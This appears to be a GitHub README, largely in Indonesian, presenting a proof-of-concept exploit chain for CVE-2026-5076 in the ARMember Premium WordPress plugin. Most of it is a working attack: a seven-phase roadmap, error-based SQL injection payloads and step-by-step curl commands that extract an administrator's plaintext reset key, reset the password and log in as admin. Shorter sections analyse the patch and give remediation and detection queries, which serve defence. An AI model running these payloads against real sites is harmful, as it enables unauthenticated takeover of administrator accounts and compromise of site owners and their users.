zycoder0day/CVE-2026-5076

GitHub: zycoder0day/CVE-2026-5076

该项目是 CVE-2026-5076 的 PoC,通过串联 ARMember 插件中的密码重置密钥明文存储漏洞和 SQL 注入漏洞,实现未认证条件下的完整管理员账户接管。

Stars: 0 | Forks: 0

# ☠️ CVE-2026-5076 ### ARMember Premium <= 7.3.1 ### Insecure Password Reset Mechanism → Full Admin Account Takeover ![](https://img.shields.io/badge/CVE-2026--5076-CRITICAL-red?style=for-the-badge) ![](https://img.shields.io/badge/CVSS-9.8-ff0000?style=for-the-badge) ![](https://img.shields.io/badge/Type-Unauthenticated-blue?style=for-the-badge) ![](https://img.shields.io/badge/Chain-7_Phases-9cf?style=for-the-badge) ![](https://img.shields.io/badge/ARMember-7.3.1-orange?style=for-the-badge) **Plaintext Password Reset Keys Stored in Database + SQL Injection = Complete Admin Takeover**
## 📋 Informasi Kerentanan | Item | Detail | |---|---| | **CVE ID** | CVE-2026-5076 | | **Plugin** | ARMember – Membership Plugin & Content Restriction | | **Versi Terpengaruh** | Premium <= 7.3.1 | | **Versi Patched** | 7.3.2 | | **CVSS Score** | 9.8 Critical | | **CWE** | CWE-640: Weak Password Recovery | | **Tipe** | Insecure Password Reset Mechanism → Plaintext Key Storage | | **Vektor Serangan** | Network / Remote / Unauthenticated (via SQLi chain) | | **Instalasi Aktif** | 30,000+ (Premium) | | **Penemu** | Wordfence Threat Intelligence | | **Tanggal Publikasi** | 3 Juni 2026 | ### CVE Terkait (Same Advisory) | CVE | Tipe | Severity | |---|---|---| | **CVE-2026-5076** | Insecure Password Reset — Plaintext Key Storage | 9.8 Critical | | **CVE-2026-5073** | Unauthenticated SQL Injection (ORDER BY) | 9.8 Critical | | **CVE-2026-5074** | Unauthenticated SQL Injection (WHERE) | 9.8 Critical | ## 🎯 Ringkasan Tiga kerentanan kritis pada plugin WordPress **ARMember Premium <= 7.3.1** yang jika dirantai bersama memungkinkan **pengambilalihan akun administrator secara penuh tanpa autentikasi**: 1. **CVE-2026-5076** — Password reset key disimpan dalam **plaintext** di `wp_usermeta` (`arm_reset_password_key`), bukan di-hash seperti standar WordPress 2. **CVE-2026-5073** — SQL Injection pada parameter `order` di AJAX handler `arm_directory_paging_action()` 3. **CVE-2026-5074** — SQL Injection pada parameter `filter` di AJAX handler `arm_directory_paging_action()` **Konsekuensi langsung CVE-2026-5076**: Siapapun dengan akses baca ke database (via SQLi, backup exposure, dll) dapat membaca password reset key dalam bentuk plaintext dan langsung menggunakannya untuk mereset password akun manapun — tanpa perlu cracking. ## 🔬 Analisis Teknis ### Root Cause #1: Plaintext Key Storage (CVE-2026-5076) WordPress standar menyimpan password reset key di kolom `user_activation_key` dalam bentuk **hashed** menggunakan `wp_hash()`. ARMember menyimpan salinan key yang sama di `wp_usermeta` dengan meta_key `arm_reset_password_key` — namun dalam bentuk **PLAINTEXT**: // FILE: armember-membership/core/class.arm_member_forms.php // Fungsi: arm_lost_password_action() // WordPress menyimpan HASHED key (aman) $key = wp_generate_password(20, false); $wp_key = $wpdb->get_var( $wpdb->prepare("SELECT user_activation_key FROM $wpdb->users WHERE user_login=%s", $user_login) ); // ARMember menyimpan PLAINTEXT key (VULNERABLE!) update_user_meta($user_id, 'arm_reset_password_key', $wp_key); // ^^^^^^ // Ini adalah key ASLI yang bisa langsung dipakai **Masalah kritis**: `$wp_key` di sini adalah key yang dihasilkan oleh `wp_generate_password(20, false)` — 20 karakter alfanumerik. WordPress meng-hash key ini sebelum menyimpan di `user_activation_key`, tapi ARMember menyimpannya **sebelum hashing** atau menyimpan salinan terpisah yang **tidak di-hash**. ### Root Cause #2: Key Persistence Bug Ketika `get_password_reset_key()` dipanggil (WordPress core), key baru di-generate dan di-hash. Namun fungsi ini **TIDAK mengupdate** `arm_reset_password_key`: // WordPress core: get_password_reset_key($user) // - Generate key baru // - Hash key → simpan di user_activation_key // - Return key plaintext // - TAPI: arm_reset_password_key TIDAK diupdate! Akibatnya, **key plaintext lama tetap tersimpan selamanya** di `arm_reset_password_key` bahkan setelah user melakukan password reset. Key ini bisa digunakan berulang kali sampai meta key secara eksplisit dihapus. ### Root Cause #3: SQL Injection (CVE-2026-5073/5074) AJAX handler `arm_directory_paging_action()` memiliki nonce check via `arm_check_user_cap()`, tapi parameter `order` dan `filter` langsung masuk ke SQL query tanpa sanitasi: // FILE: armember-membership/core/class.arm_member_forms.php // Fungsi: arm_directory_paging_action() // Nonce check (dibutuhkan nonce valid) $nonce_check = $this->arm_check_user_cap(); // ORDER BY injection — langsung ke SQL tanpa sanitasi! $orderby = "u.{$arm_member} {$order_dir}"; // $order_dir dari $_POST['order'] → LANGSUNG ke ORDER BY // WHERE injection via filter if (!empty($filter)) { $where .= " AND " . $filter; // ← LANGSUNG concatenation! } **Eksploitasi ORDER BY**: Parameter `order` dimasukkan ke klausa `ORDER BY` SQL. Karena tidak ada sanitasi, attacker bisa inject subquery: -- Payload SQLi via parameter order ORDER BY u.ID ASC, IF(COND, 1, EXP(710)) -- COND = TRUE → IF returns 1 → ORDER BY 1 → response normal (besar) -- COND = FALSE → IF returns EXP(710) → MySQL overflow ERROR → response 90B **Oracle ini immune terhadap network latency** karena membedakan TRUE/FALSE berdasarkan error vs success, bukan waktu respons. ## ⛓️ Attack Chain Roadmap ╔══════════════════════════════════════════════════════════════════════════════════╗ ║ CVE-2026-5076 FULL CHAIN ATTACK ROADMAP ║ ║ ARMember Premium <= 7.3.1 → Unauthenticated Admin Takeover ║ ╚══════════════════════════════════════════════════════════════════════════════════╝ ┌─────────────────────────────────────────────────────────────────────────────────┐ │ PHASE 1: RECONNAISSANCE │ │ "Identifikasi target, versi, dan attack surface" │ ├─────────────────────────────────────────────────────────────────────────────────┤ │ │ │ 1a. Deteksi ARMember │ │ ├─ GET / → cari string: "arm_", "armember", "ARMember" │ │ ├─ GET /wp-json/ → cari armember di response │ │ ├─ Cookie: arm_* indicates ARMember active │ │ └─ Version fingerprint: arm_css_version, arm_js_version │ │ │ │ 1b. Temukan Directory Page (MUST have arm_directory_form_container) │ │ ├─ Method 1: WP Search → GET /?s=members → parse links │ │ │ └─ Filter: skip /feed/, /rss2/, .xml, /atom/ │ │ ├─ Method 2: Direct Path Probe → /directory/, /members/, /community/ │ │ ├─ Method 3: Sitemap → /sitemap.xml → parse URLs │ │ └─ Method 4: REST API → /wp-json/wp/v2/pages → search ARM shortcode │ │ │ │ 1c. Ekstrak nonce + template_id (BERPASANGAN di form yang sama) │ │ ├─
│ │ │ ├─ │ │ │ └─ │ │ └─ Nonce = wp_create_nonce('arm_wp_nonce') — tied to session │ │ └─ Bukan per-template_id, tapi per-user session │ │ │ │ OUTPUT: nonce, template_id, version, directory_url │ └──────────────┬──────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────────────────┐ │ PHASE 2: SQL INJECTION │ │ "Konfirmasi SQLi via error-based boolean oracle" │ ├─────────────────────────────────────────────────────────────────────────────────┤ │ │ │ 2a. Kirim AJAX request dengan nonce + template_id │ │ POST /wp-admin/admin-ajax.php │ │ action=arm_directory_paging_action │ │ arm_wp_nonce= │ │ template_id= │ │ type=directory │ │ order=ASC │ │ │ │ 2b. Error-Based Boolean Oracle (IMMUNE LATENCY!) │ │ ├─ TRUE: order=ASC,IF(1=1,1,EXP(710)) → response ~10KB (normal) │ │ ├─ FALSE: order=ASC,IF(1=2,1,EXP(710)) → response ~90B (EXP overflow) │ │ └─ Delta: ~100x — tidak terpengaruh network jitter │ │ │ │ 2c. Kenapa EXP(710)? │ │ ├─ EXP(710) → MySQL double overflow → ERROR │ │ ├─ Error = response body ~90B (cepat, konsisten) │ │ └─ Lebih reliable daripada SLEEP-based oracle di site lambat │ │ │ │ 2d. Oracle Alternatif (untuk site tanpa error output) │ │ ├─ Time-based: IF(COND, SLEEP(3), u.ID) │ │ │ ├─ TRUE = slow (SLEEP), FALSE = fast (ORDER BY ID) │ │ │ └─ Rentan terhadap network latency, baseline shifting │ │ └─ 3-State: IF(COND, SLEEP(N), u.ID) vs baseline │ │ ├─ TRUE = slow + big response │ │ ├─ FALSE = fast + big response (ORDER BY valid ID) │ │ └─ ERROR = fast + small response (ORDER BY 0) │ │ │ │ OUTPUT: sqli_confirmed, sz_true, sz_false, oracle_type │ └──────────────┬──────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────────────────┐ │ PHASE 3: DATABASE ENUMERATION │ │ "Ekstrak table prefix, admin user, dan metadata" │ ├─────────────────────────────────────────────────────────────────────────────────┤ │ │ │ 3a. Deteksi Table Prefix (CRITICAL — prefix non-standard umum!) │ │ ├─ Method 1: INFORMATION_SCHEMA (paling reliable) │ │ │ ├─ (SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES │ │ │ │ WHERE TABLE_SCHEMA=DATABASE() AND TABLE_NAME LIKE '%users' │ │ │ │ LIMIT 1) IS NOT NULL │ │ │ └─ Ekstrak prefix: SUBSTRING(TABLE_NAME,1,LENGTH-5) │ │ ├─ Method 2: Brute-force prefix │ │ │ └─ wp_, wordpress_, wp_2_, site_, db_, blog_, web_ │ │ └─ Method 3: Per-row oracle via alias u/um │ │ └─ Main query sudah JOIN wp_users u, wp_usermeta um │ │ └─ Tapi TABLE NAME di subquery = prefix + "users" │ │ │ │ 3b. Ekstrak Admin User (4-Method Fallback) │ │ ├─ Method 1: wp_capabilities LIKE '%administrator%' │ │ │ └─ SELECT user_login FROM PREFIX_users WHERE ID= │ │ │ (SELECT user_id FROM PREFIX_usermeta │ │ │ WHERE meta_key='PREFIX_capabilities' │ │ │ AND meta_value LIKE '%administrator%' LIMIT 1) │ │ ├─ Method 2: wp_user_level = '10' │ │ │ └─ Meta key PREFIX_user_level dengan value '10' │ │ ├─ Method 3: Per-row um alias for capabilities │ │ │ └─ um.meta_key='PREFIX_capabilities' AND um.meta_value LIKE '%admin%' │ │ └─ Method 4: First user fallback (ORDER BY ID LIMIT 1) │ │ └─ Pada site kecil, user pertama = admin │ │ │ │ 3c. Ekstrak Admin Email │ │ └─ SELECT user_email FROM PREFIX_users WHERE user_login='ADMIN' │ │ │ │ 3d. Cek arm_reset_password_key Feature │ │ ├─ (SELECT COUNT(*) FROM PREFIX_usermeta │ │ │ WHERE meta_key='arm_reset_password_key') > 0 │ │ ├─ Jika FALSE → fitur tidak ada (v4.x) atau belum ada reset │ │ └─ Jika TRUE tapi 0 values → fitur ada, perlu trigger (Phase 4) │ │ │ │ OUTPUT: prefix, admin_login, admin_email, arm_key_feature_exists │ └──────────────┬──────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────────────────┐ │ PHASE 4: PASSWORD RESET TRIGGER │ │ "Paksa target menyimpan plaintext key di database" │ ├─────────────────────────────────────────────────────────────────────────────────┤ │ │ │ 4a. ARMember Forgot-Password (SET arm_reset_password_key = PLAINTEXT) │ │ ├─ POST /wp-admin/admin-ajax.php │ │ │ action=arm_lost_password │ │ │ arm_wp_nonce= │ │ │ user_login= │ │ ├─ Hasil: arm_reset_password_key = plaintext 20-char key │ │ └─ Masalah: banyak site return "0" (action tidak terdaftar) │ │ │ │ 4b. WordPress Standard Lostpassword (SET user_activation_key = HASHED) │ │ ├─ POST /wp-login.php?action=lostpassword │ │ │ user_login= │ │ │ wp-submit=Get New Password │ │ ├─ Hasil: user_activation_key = hashed key (TIDAK bisa dipakai langsung) │ │ └─ Email terkirim ke admin (jika mail server aktif) │ │ │ │ 4c. WP Lostpassword via Email │ │ └─ Jika user_login gagal, coba dengan admin_email │ │ │ │ 4d. Verifikasi Key Tersimpan (via SQLi) │ │ ├─ Cek arm_reset_password_key (PLAINTEXT — CVE-2026-5076) │ │ │ └─ (SELECT meta_value FROM PREFIX_usermeta │ │ │ WHERE meta_key='arm_reset_password_key' │ │ │ AND user_id=ADMIN_ID LIMIT 1) │ │ └─ Cek user_activation_key (HASHED — fallback) │ │ └─ LENGTH((SELECT user_activation_key FROM PREFIX_users │ │ WHERE user_login='ADMIN')) > 0 │ │ │ │ ⚠️ PENTING: WP lostpassword TIDAK menghasilkan arm_reset_password_key! │ │ Hanya form forgot-password ARMember yang menyimpan plaintext key. │ │ Versi < 5.x TIDAK memiliki fitur arm_reset_password_key sama sekali. │ │ │ │ OUTPUT: arm_reset_password_key (plaintext) atau user_activation_key (hashed) │ └──────────────┬──────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────────────────┐ │ PHASE 5: KEY EXTRACTION │ │ "Baca plaintext password reset key dari database via SQLi" │ ├─────────────────────────────────────────────────────────────────────────────────┤ │ │ │ 5a. Ekstrak arm_reset_password_key (CVE-2026-5076 — PLAINTEXT!) │ │ ├─ Binary search per-karakter via SQLi: │ │ │ ┌──────────────────────────────────────────────────────┐ │ │ │ │ Char 1: SUBSTRING(meta_value,1,1) > 'M' ? │ │ │ │ │ Char 1: SUBSTRING(meta_value,1,1) > 'T' ? │ │ │ │ │ ...binary search converges... │ │ │ │ │ Char 1 = 'X' ✓ │ │ │ │ │ Char 2: SUBSTRING(meta_value,2,1) > 'a' ? │ │ │ │ │ ...repeat for 20 characters... │ │ │ │ └──────────────────────────────────────────────────────┘ │ │ ├─ Key length: 20 karakter alfanumerik (wp_generate_password(20, false)) │ │ └─ Extraction time: ~7 queries × 20 chars = ~140 requests │ │ │ │ 5b. Fallback: Ekstrak user_activation_key (HASHED — tidak langsung pakai) │ │ └─ Format: hash keluaran wp_hash() — perlu cracking atau bypass │ │ │ │ 5c. Key Persistence (BUG KRITIS!) │ │ ├─ get_password_reset_key() TIDAK update arm_reset_password_key │ │ ├─ Key plaintext TETAP ADA meskipun user sudah reset password │ │ └─ Key bisa dipakai BERULANG KALI sampai meta key dihapus │ │ │ │ OUTPUT: arm_key (plaintext 20-char) atau hashed_key (fallback) │ └──────────────┬──────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────────────────┐ │ PHASE 6: PASSWORD RESET │ │ "Gunakan plaintext key untuk reset password admin" │ ├─────────────────────────────────────────────────────────────────────────────────┤ │ │ │ 6a. ARMember Reset Endpoint (armrp) │ │ ├─ GET /?armrp=true&key=&login= │ │ ├─ ARMember memverifikasi key PLAINTEXT vs database PLAINTEXT │ │ │ └─ String comparison — BUKAN hash comparison! │ │ ├─ Jika match → tampilkan form reset password │ │ └─ Endpoint ini adalah GET request (bukan AJAX) — bisa diakses langsung │ │ │ │ 6b. WordPress Standard Reset (wp-login.php) │ │ ├─ GET /wp-login.php?action=rp&key=&login= │ │ ├─ WordPress memverifikasi key HASHED — plaintext key TIDAK berfungsi │ │ └─ Hanya berguna jika key dari user_activation_key (hashed) │ │ │ │ 6c. Submit Password Baru │ │ ├─ POST ke form reset dengan password baru │ │ └─ Password baru ter-set → akun berhasil di-takeover │ │ │ │ OUTPUT: new_password, reset_confirmed │ └──────────────┬──────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────────────────┐ │ PHASE 7: VALIDATION │ │ "Verifikasi akses admin penuh" │ ├─────────────────────────────────────────────────────────────────────────────────┤ │ │ │ 7a. Login WordPress Standard │ │ ├─ POST /wp-login.php │ │ │ log= │ │ │ pwd= │ │ └─ Redirect ke /wp-admin/ → dashboard accessible │ │ │ │ 7b. Login ARMember AJAX │ │ ├─ POST /wp-admin/admin-ajax.php │ │ │ action=arm_ajax_login │ │ │ arm_wp_nonce= │ │ │ username= │ │ │ password= │ │ └─ Response berisi user data + redirect URL │ │ │ │ 7c. Verifikasi Dashboard Access │ │ └─ GET /wp-admin/ → 200 OK + admin menu visible │ │ │ │ ╔═══════════════════════════════════════════════════════════╗ │ │ ║ ✓ FULL CHAIN EXPLOITED ║ │ │ ║ Target: target.com ║ │ │ ║ User: admin ║ │ │ ║ Password: ║ │ │ ║ Access: Full Administrator ║ │ │ ╚═══════════════════════════════════════════════════════════╝ │ │ │ │ OUTPUT: login_confirmed, dashboard_accessible │ └─────────────────────────────────────────────────────────────────────────────────┘ ## 💻 Proof of Concept ### Prasyarat - Target menjalankan **ARMember Premium <= 7.3.1** - Target memiliki **directory page** yang terekspos secara publik (untuk nonce + template_id) - Versi **>= 5.x** untuk fitur `arm_reset_password_key` (v4.x tidak memiliki fitur ini) ### PoC Minimal — Step by Step # ═══════════════════════════════════════════════════════ # PHASE 1: RECONNAISSANCE # ═══════════════════════════════════════════════════════ # Step 1a: Deteksi ARMember version curl -s https://target.com/ | grep -oP 'arm_css_version["\s:=]+\K[0-9.]+' # Step 1b: Temukan directory page curl -s "https://target.com/?s=members" | \ grep -oP 'href="(https?://[^"]+(?:member|directory)[^"]*)"' | \ head -5 # Step 1c: Ekstrak nonce + template_id dari directory page curl -s https://target.com/directory/ | \ grep -oP 'arm_wp_nonce.*?value="[^"]*"' | head -1 curl -s https://target.com/directory/ | \ grep -oP 'template_id.*?value="[^"]*"' | head -1 # ═══════════════════════════════════════════════════════ # PHASE 2: SQL INJECTION CONFIRMATION # ═══════════════════════════════════════════════════════ # Step 2a: Konfirmasi SQLi dengan error-based oracle # TRUE condition → response besar (~10KB) curl -s -o /dev/null -w "%{size_download}" \ -d "action=arm_directory_paging_action&arm_wp_nonce=NONCE&template_id=TID&type=directory&order=ASC,IF(1=1,1,EXP(710))" \ https://target.com/wp-admin/admin-ajax.php # FALSE condition → response kecil (~90B, MySQL error) curl -s -o /dev/null -w "%{size_download}" \ -d "action=arm_directory_paging_action&arm_wp_nonce=NONCE&template_id=TID&type=directory&order=ASC,IF(1=2,1,EXP(710))" \ https://target.com/wp-admin/admin-ajax.php # Jika TRUE ≠ FALSE → SQLi CONFIRMED # ═══════════════════════════════════════════════════════ # PHASE 3: DATABASE ENUMERATION # ═══════════════════════════════════════════════════════ # Step 3a: Deteksi table prefix via INFORMATION_SCHEMA # Test: apakah prefix wp_ ? curl -s -o /dev/null -w "%{size_download}" \ -d "action=arm_directory_paging_action&arm_wp_nonce=NONCE&template_id=TID&type=directory&order=ASC,IF((SELECT COUNT(*) FROM wp_users)>0,1,EXP(710))" \ https://target.com/wp-admin/admin-ajax.php # Jika response besar → prefix = wp_ # Jika response kecil → coba prefix lain # Step 3b: Ekstrak admin user_login (binary search) # Contoh: karakter pertama > 'a' ? curl -s -o /dev/null -w "%{size_download}" \ -d "action=...&order=ASC,IF(SUBSTRING((SELECT user_login FROM wp_users WHERE ID=1),1,1)>'a',1,EXP(710))" \ https://target.com/wp-admin/admin-ajax.php # Repeat binary search per karakter... # Step 3c: Cek apakah arm_reset_password_key ada curl -s -o /dev/null -w "%{size_download}" \ -d "action=...&order=ASC,IF((SELECT COUNT(*) FROM wp_usermeta WHERE meta_key='arm_reset_password_key')>0,1,EXP(710))" \ https://target.com/wp-admin/admin-ajax.php # ═══════════════════════════════════════════════════════ # PHASE 4: TRIGGER PASSWORD RESET # ═══════════════════════════════════════════════════════ # Step 4a: Trigger ARMember forgot-password (SET arm_reset_password_key) curl -s -X POST \ -d "action=arm_lost_password&arm_wp_nonce=NONCE&user_login=ADMIN_LOGIN" \ https://target.com/wp-admin/admin-ajax.php # Step 4b: Fallback — WordPress standard lostpassword curl -s -X POST \ -d "user_login=ADMIN_LOGIN&redirect_to=&wp-submit=Get+New+Password" \ https://target.com/wp-login.php?action=lostpassword # ═══════════════════════════════════════════════════════ # PHASE 5: EXTRACT PLAINTEXT KEY (CVE-2026-5076) # ═══════════════════════════════════════════════════════ # Step 5a: Baca arm_reset_password_key dari database via SQLi # Binary search karakter per karakter # Karakter 1 > 'M' ? curl -s -o /dev/null -w "%{size_download}" \ -d "action=...&order=ASC,IF(SUBSTRING((SELECT meta_value FROM wp_usermeta WHERE meta_key='arm_reset_password_key' AND user_id=1),1,1)>'M',1,EXP(710))" \ https://target.com/wp-admin/admin-ajax.php # ... repeat untuk 20 karakter ... # Hasil: PLAINTEXT KEY berhasil diekstrak # ═══════════════════════════════════════════════════════ # PHASE 6: RESET PASSWORD # ═══════════════════════════════════════════════════════ # Step 6a: Akses ARMember reset endpoint dengan plaintext key curl -v "https://target.com/?armrp=true&key=&login=admin" # Jika key match → form reset password ditampilkan! # Step 6b: Submit password baru curl -s -X POST \ -d "pass1=NewPassword123!&pass2=NewPassword123!&key=&login=admin" \ "https://target.com/?armrp=true" # ═══════════════════════════════════════════════════════ # PHASE 7: VALIDATE LOGIN # ═══════════════════════════════════════════════════════ # Step 7a: Login dengan password baru curl -v -X POST \ -d "log=admin&pwd=NewPassword123!&wp-submit=Log+In" \ https://target.com/wp-login.php # Step 7b: Verifikasi dashboard access curl -s -L -c cookies.txt \ -d "log=admin&pwd=NewPassword123!&wp-submit=Log+In" \ https://target.com/wp-login.php && \ curl -s -b cookies.txt https://target.com/wp-admin/ | \ grep "Dashboard" ## 🔧 Analisis Patch (v7.3.2) Perbaikan di versi 7.3.2 mengatasi ketiga CVE: ### Patch CVE-2026-5076 (Plaintext Key) // VULNERABLE (<=7.3.1) update_user_meta($user_id, 'arm_reset_password_key', $wp_key); // plaintext key ^^^^^^^ // PATCHED (7.3.2) $hashed_key = wp_hash($wp_key); update_user_meta($user_id, 'arm_reset_password_key', $hashed_key); // hashed key ^^^^^^^^^^^ - Key sekarang disimpan dalam bentuk **hashed** menggunakan `wp_hash()` - Verifikasi key menggunakan `wp_check_password()` atau hash comparison - Key lama yang sudah plaintext harus dihapus manual ### Patch CVE-2026-5073 (ORDER BY SQLi) // VULNERABLE (<=7.3.1) $orderby = "u.{$arm_member} {$order_dir}"; // ^^^^^^^^^^ langsung dari user input // PATCHED (7.3.2) $allowed_orders = array('ASC', 'DESC', 'asc', 'desc'); if (!in_array($order_dir, $allowed_orders, true)) { $order_dir = 'ASC'; } $orderby = "u.{$arm_member} {$order_dir}"; ### Patch CVE-2026-5074 (WHERE SQLi) // VULNERABLE (<=7.3.1) $where .= " AND " . $filter; // ^^^^^^^ langsung concatenation // PATCHED (7.3.2) // Filter parameter removed from user input entirely // Filtering now handled server-side with prepared statements ## 🛡️ Remediasi ### Langkah Segera 1. **Update ARMember Premium** ke versi **7.3.2** atau lebih baru 2. **Hapus semua `arm_reset_password_key`** yang ada di database: DELETE FROM wp_usermeta WHERE meta_key = 'arm_reset_password_key'; 3. **Reset semua password admin** — plaintext key lama mungkin sudah dikompromikan 4. **Audit akun user** — cek akun administrator yang tidak dikenal 5. **Batasi akses directory page** — pastikan hanya user terautentikasi yang bisa mengakses ### Deteksi Indikator Kompromi -- Cek apakah ada arm_reset_password_key (indikasi exploit) SELECT user_id, meta_value FROM wp_usermeta WHERE meta_key = 'arm_reset_password_key' AND meta_value != ''; -- Cek login mencurigakan SELECT * FROM wp_users WHERE user_activation_key != '' AND user_modified > DATE_SUB(NOW(), INTERVAL 7 DAY); ### Mitigasi Tanpa Update - **Hapus meta key** `arm_reset_password_key` secara berkala via cron - **Nonaktifkan** ARMember forgot-password form (gunakan WP standard saja) - **Batasi** akses ke directory page (require login) - **Implementasikan WAF** yang memblokir SQLi pattern pada `arm_directory_paging_action` ## 🧩 Attack Scenarios ### Scenario A: Classic Full Chain (All CVEs Combined) Attacker discovers directory page → extracts nonce+tid → SQLi to read arm_reset_password_key (plaintext) → uses armrp endpoint to reset admin password → logs in as admin **Requires**: ARMember v5.x+ with forgot-password triggered by real user ### Scenario B: SQLi + WP Lostpassword Hybrid Attacker discovers directory page → extracts nonce+tid → SQLi to extract admin_login + admin_email → triggers WP lostpassword → email sent → SQLi to read user_activation_key (hashed) → CRACK the hash offline → reset password via wp-login.php **Requires**: Site with working mail server, hash cracking capability ### Scenario C: Database Backup Exposure Attacker finds exposed database backup (.sql, .zip, .tar.gz) → grep for arm_reset_password_key → obtain plaintext keys → use armrp endpoint to reset passwords **Requires**: Exposed backup, no SQLi needed ### Scenario D: Compromised Admin + Lateral Movement Attacker gains admin via CVE-2022-1903 or other vector → reads arm_reset_password_key for ALL users → resets passwords for other admin accounts → persists access even if original vulnerability is patched **Requires**: Initial admin access via any vector ## ⚠️ Disclaimer Tool dan dokumentasi ini hanya untuk **pengujian keamanan yang sah** dengan izin eksplisit. Penggunaan tanpa otorisasi terhadap sistem yang bukan milik Anda atau tanpa izin tertulis adalah **ilegal**. Penulis tidak bertanggung jawab atas penyalahgunaan. ## 📚 Referensi - [Wordfence Advisory — CVE-2026-5076](https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/armember-membership/armember-premium-731-insecure-password-reset-mechanism) - [Wordfence Advisory — CVE-2026-5073](https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/armember-membership/armember-premium-731-unauthenticated-sql-injection) - [Wordfence Advisory — CVE-2026-5074](https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/armember-membership/armember-premium-731-unauthenticated-sql-injection-2) - [ARMember Plugin Repository](https://wordpress.org/plugins/armember-membership/) - [WordPress Password Reset Mechanism](https://developer.wordpress.org/reference/functions/get_password_reset_key/) - [CWE-640: Weak Password Recovery Mechanism](https://cwe.mitre.org/data/definitions/640.html)
![](https://img.shields.io/badge/Made%20with-%E2%9D%A4-red?style=flat-square) ![](https://img.shields.io/badge/For-Educational%20Purpose-blue?style=flat-square) Copyright © 2026 **XENON1337** Special Thanks: **ENDANG**
标签:ARMember Premium, CISA项目, CVE-2026-5076, CVSS 9.8, CWE-640, PoC, Web安全, WordPress安全, WordPress插件漏洞, 不安全密码重置, 操作系统监控, 文件完整性监控, 明文密码存储, 暴力破解, 未授权访问, 概念验证, 漏洞利用链, 管理员账户接管, 编程工具, 蓝队分析, 身份验证绕过, 远程代码执行